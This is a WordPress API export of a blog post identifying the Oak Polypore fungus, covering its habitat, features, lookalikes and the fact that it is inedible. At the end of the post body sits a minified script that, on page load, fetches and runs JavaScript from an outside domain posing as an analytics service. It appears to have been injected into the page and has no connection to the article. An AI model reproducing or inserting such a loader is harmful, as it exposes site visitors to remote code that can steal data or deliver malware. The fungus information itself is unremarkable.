{"id":113495,"date":"2025-11-24T11:39:07","date_gmt":"2025-11-24T11:39:07","guid":{"rendered":"https:\/\/totallywilduk.co.uk\/?p=113495"},"modified":"2026-01-29T13:41:21","modified_gmt":"2026-01-29T13:41:21","slug":"oak-polypore-inonotus-dryadeus-identification","status":"publish","type":"post","link":"https:\/\/totallywilduk.co.uk\/2025\/11\/24\/oak-polypore-inonotus-dryadeus-identification\/","title":{"rendered":"Oak Polypore (Inonotus dryadeus) Identification"},"content":{"rendered":"<h1><b>Oak Polypore \/ Spring \/ Summer \/ Autumn \/ Winter \/ Inedible<\/b><\/h1>\n<div id='gallery-1' class='gallery galleryid-113495 gallery-columns-3 gallery-size-thumbnail'><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/totallywilduk.co.uk\/2025\/11\/24\/oak-polypore-inonotus-dryadeus-identification\/img_20230809_213011_557-1\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/IMG_20230809_213011_557-1-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" aria-describedby=\"gallery-1-113497\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/IMG_20230809_213011_557-1-150x150.jpg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/IMG_20230809_213011_557-1-450x450.jpg 450w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/IMG_20230809_213011_557-1-100x100.jpg 100w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/IMG_20230809_213011_557-1-50x50.jpg 50w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>\n\t\t\t<\/div>\n\t\t\t\t<figcaption class='wp-caption-text gallery-caption' id='gallery-1-113497'>\n\t\t\t\tOak bracket-forager Fez\n\t\t\t\t<\/figcaption><\/figure><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/totallywilduk.co.uk\/2025\/11\/24\/oak-polypore-inonotus-dryadeus-identification\/oak-bracket-growing-on-an-old-oak-tree\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-bracket-growing-on-an-old-oak-tree-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-bracket-growing-on-an-old-oak-tree-150x150.jpg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-bracket-growing-on-an-old-oak-tree-450x450.jpg 450w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-bracket-growing-on-an-old-oak-tree-100x100.jpg 100w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-bracket-growing-on-an-old-oak-tree-50x50.jpg 50w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>\n\t\t\t<\/div><\/figure><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/totallywilduk.co.uk\/2025\/11\/24\/oak-polypore-inonotus-dryadeus-identification\/oak-brakcet-young-specimen-oozing-honey\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-brakcet-young-specimen-oozing-honey-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" aria-describedby=\"gallery-1-113500\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-brakcet-young-specimen-oozing-honey-150x150.jpg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-brakcet-young-specimen-oozing-honey-450x450.jpg 450w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-brakcet-young-specimen-oozing-honey-100x100.jpg 100w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-brakcet-young-specimen-oozing-honey-50x50.jpg 50w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>\n\t\t\t<\/div>\n\t\t\t\t<figcaption class='wp-caption-text gallery-caption' id='gallery-1-113500'>\n\t\t\t\tpaul dickson\u00a0\/\u00a0Inonotus Dryadeus\n\t\t\t\t<\/figcaption><\/figure><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/totallywilduk.co.uk\/2025\/11\/24\/oak-polypore-inonotus-dryadeus-identification\/oak-bracket-older-specimen-showing-signs-of-decay\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-bracket-older-specimen-showing-signs-of-decay-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" aria-describedby=\"gallery-1-113501\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-bracket-older-specimen-showing-signs-of-decay-150x150.jpg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-bracket-older-specimen-showing-signs-of-decay-450x450.jpg 450w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-bracket-older-specimen-showing-signs-of-decay-100x100.jpg 100w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-bracket-older-specimen-showing-signs-of-decay-50x50.jpg 50w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>\n\t\t\t<\/div>\n\t\t\t\t<figcaption class='wp-caption-text gallery-caption' id='gallery-1-113501'>\n\t\t\t\tThis image was created by user Liz Popich (Lizzie) at Mushroom Observer, a source for mycological images.You can contact this user here.English\u00a0| espa\u00f1ol\u00a0| fran\u00e7ais\u00a0| italiano\u00a0| \u043c\u0430\u043a\u0435\u0434\u043e\u043d\u0441\u043a\u0438\u00a0| \u0d2e\u0d32\u0d2f\u0d3e\u0d33\u0d02\u00a0| portugu\u00eas\u00a0| +\/\u2212, CC BY-SA 3.0 <https:\/\/creativecommons.org\/licenses\/by-sa\/3.0>, via Wikimedia Commons\n\t\t\t\t<\/figcaption><\/figure><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon portrait'>\n\t\t\t\t<a href='https:\/\/totallywilduk.co.uk\/2025\/11\/24\/oak-polypore-inonotus-dryadeus-identification\/oak-bracket-close-up-of-the-honey\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-bracket-close-up-of-the-honey-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" aria-describedby=\"gallery-1-113502\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-bracket-close-up-of-the-honey-150x150.jpg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-bracket-close-up-of-the-honey-450x450.jpg 450w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-bracket-close-up-of-the-honey-100x100.jpg 100w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-bracket-close-up-of-the-honey-50x50.jpg 50w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>\n\t\t\t<\/div>\n\t\t\t\t<figcaption class='wp-caption-text gallery-caption' id='gallery-1-113502'>\n\t\t\t\tThis image was created by user Liz Popich (Lizzie) at Mushroom Observer, a source for mycological images.You can contact this user here.English\u00a0| espa\u00f1ol\u00a0| fran\u00e7ais\u00a0| italiano\u00a0| \u043c\u0430\u043a\u0435\u0434\u043e\u043d\u0441\u043a\u0438\u00a0| \u0d2e\u0d32\u0d2f\u0d3e\u0d33\u0d02\u00a0| portugu\u00eas\u00a0| +\/\u2212, CC BY-SA 3.0 <https:\/\/creativecommons.org\/licenses\/by-sa\/3.0>, via Wikimedia Commons\n\t\t\t\t<\/figcaption><\/figure>\n\t\t<\/div>\n\n<hr \/>\n<h2><b>Scientific Name<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Inonotus dryadeus<\/span><span style=\"font-weight: 400;\">\u00a0<\/span><\/p>\n<hr \/>\n<h2><b>Common Names<\/b><\/h2>\n<p>Oak Polypore, Oak Bracket, Weeping conk and Warted Oak Polypore<\/p>\n<hr \/>\n<h2><b>Family<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Hymenochaetaceae<\/span><\/p>\n<hr \/>\n<h2><b>Habitat<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">An infrequent find in northern Britain but fairly common in Wales and southern England. They are parasitic and are found near the base of living and dead oak tree\u2019s and occasionally on other broad-leaf trees such as beech and birch.<\/span><\/p>\n<hr \/>\n<h2><b>Description<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">The oak bracket fungus doesn\u2019t really have any specific uses, apart from playing a vital role in the woodland ecosystem but they are amazing to find especially when they\u2019re dripping with \u2018honey\u2019!<\/span><\/p>\n<hr \/>\n<h2><b>Identifying Features:\u00a0<\/b><\/h2>\n<h2><b>Cap:<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">The bracket is up to 65 cm across and typically 10\u201315 cm thick. The upper surface is cream to rusty brown and velvety or hairy. When young and fresh, amber-coloured droplets ooze from tiny pores in the dimpled surface, especially around the edge. the<\/span><span style=\"font-weight: 400;\">\u00a0liquid it secretes makes the bracket look as if it is dripping honey. Please don\u2019t taste it, trust me the similarities end there! As the bracket ages, it starts to smell pretty unpleasant. They are more often found singularity but do sometimes occur in tiers.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Its rusty brown flesh is soft at first, becoming corky and fibrous with age. The caps become blackened and cracked over winter, and sometimes persist for several years.<\/span><\/p>\n<figure id=\"attachment_113497\" aria-describedby=\"caption-attachment-113497\" style=\"width: 300px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-113497\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/IMG_20230809_213011_557-1-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/IMG_20230809_213011_557-1-300x225.jpg 300w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/IMG_20230809_213011_557-1-1024x768.jpg 1024w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/IMG_20230809_213011_557-1-768x576.jpg 768w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/IMG_20230809_213011_557-1-1536x1152.jpg 1536w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/IMG_20230809_213011_557-1-2048x1536.jpg 2048w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/IMG_20230809_213011_557-1-150x113.jpg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/IMG_20230809_213011_557-1-900x675.jpg 900w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><figcaption id=\"caption-attachment-113497\" class=\"wp-caption-text\">Oak bracket-forager Fez<\/figcaption><\/figure>\n<hr \/>\n<h2><b>Pore\/tubes:<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">The underside is buff in colour and there are 4 to 6 fine pores per millimetre. These are initially greyish-white but mature to yellow.<\/span><\/p>\n<figure id=\"attachment_113502\" aria-describedby=\"caption-attachment-113502\" style=\"width: 225px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-113502\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-bracket-close-up-of-the-honey-225x300.jpg\" alt=\"\" width=\"225\" height=\"300\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-bracket-close-up-of-the-honey-225x300.jpg 225w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-bracket-close-up-of-the-honey-113x150.jpg 113w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Oak-bracket-close-up-of-the-honey.jpg 640w\" sizes=\"auto, (max-width: 225px) 100vw, 225px\" \/><figcaption id=\"caption-attachment-113502\" class=\"wp-caption-text\">This image was created by user Liz Popich (Lizzie) at Mushroom Observer, a source for mycological images.You can contact this user here.English\u00a0| espa\u00f1ol\u00a0| fran\u00e7ais\u00a0| italiano\u00a0| \u043c\u0430\u043a\u0435\u0434\u043e\u043d\u0441\u043a\u0438\u00a0| \u0d2e\u0d32\u0d2f\u0d3e\u0d33\u0d02\u00a0| portugu\u00eas\u00a0| +\/\u2212, CC BY-SA 3.0 &lt;https:\/\/creativecommons.org\/licenses\/by-sa\/3.0&gt;, via Wikimedia Commons<\/figcaption><\/figure>\n<hr \/>\n<h2><b>Smell:<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Unpleasant especially as they age.<\/span><\/p>\n<hr \/>\n<h2><b>Spores:<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">White.<\/span><\/p>\n<hr \/>\n<h2><b>Known hazards<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Not thought to be toxic but they are tough and bitter making them inedible.\u00a0<\/span><\/p>\n<hr \/>\n<h2><b>Potential lookalikes<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Could possibly be confused with the <a href=\"https:\/\/totallywilduk.co.uk\/2021\/11\/25\/beefsteak-fungus-fistulina-hepatica-identification\/\">Beefsteak Fungus (Fistulina hepatica)<\/a> which also grows on Oak trees but this has a softer texture and oozes red juice when cut.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The Shaggy Bracket (Inonotus hispidus) looks very similar but this is usually found growing on Apple or Ash rather than Oak, has a much smoother surface and has a brown spore print.<\/span><\/p>\n<hr \/>\n<h2><b>References:<\/b><\/h2>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/www.woodlandtrust.org.uk\/trees-woods-and-wildlife\/fungi-and-lichens\/oak-bracket\/\" rel=\"nofollow noopener\" target=\"_blank\"><span style=\"font-weight: 400;\">https:\/\/www.woodlandtrust.org.uk\/trees-woods-and-wildlife\/fungi-and-lichens\/oak-bracket\/<\/span><\/a><\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/www.first-nature.com\/fungi\/pseudoinonotus-dryadeus.php\" rel=\"nofollow noopener\" target=\"_blank\"><span style=\"font-weight: 400;\">https:\/\/www.first-nature.com\/fungi\/pseudoinonotus-dryadeus.php<\/span><\/a><\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/Inonotus_dryadeus\" rel=\"nofollow noopener\" target=\"_blank\"><span style=\"font-weight: 400;\">https:\/\/en.wikipedia.org\/wiki\/Inonotus_dryadeus<\/span><\/a><\/p>\n<p><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Oak Polypore \/ Spring \/ Summer \/ Autumn \/ Winter \/ Inedible Scientific Name Inonotus dryadeus\u00a0 Common Names Oak Polypore, Oak Bracket, Weeping conk and Warted Oak Polypore Family Hymenochaetaceae Habitat An infrequent find in northern Britain but fairly common in Wales and southern England. They are parasitic and are&hellip;<\/p>\n","protected":false},"author":9,"featured_media":113497,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1778,1781,114,88,1776,1777,1779],"tags":[239,2158,499,2222,2220,2219,104,238,2221,122],"class_list":["post-113495","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-autumn","category-inedible","category-mushroom-identification","category-mushrooms","category-spring","category-summer","category-winter","tag-autumn","tag-hymenochaetaceae","tag-inedible","tag-inonotus-dryadeus","tag-oak-bracket","tag-oak-polypore","tag-spring","tag-summer","tag-weeping-conk-and-warted-oak-polypore","tag-winter"],"_links":{"self":[{"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/posts\/113495","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/comments?post=113495"}],"version-history":[{"count":8,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/posts\/113495\/revisions"}],"predecessor-version":[{"id":142614,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/posts\/113495\/revisions\/142614"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/media\/113497"}],"wp:attachment":[{"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/media?parent=113495"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/categories?post=113495"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/tags?post=113495"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}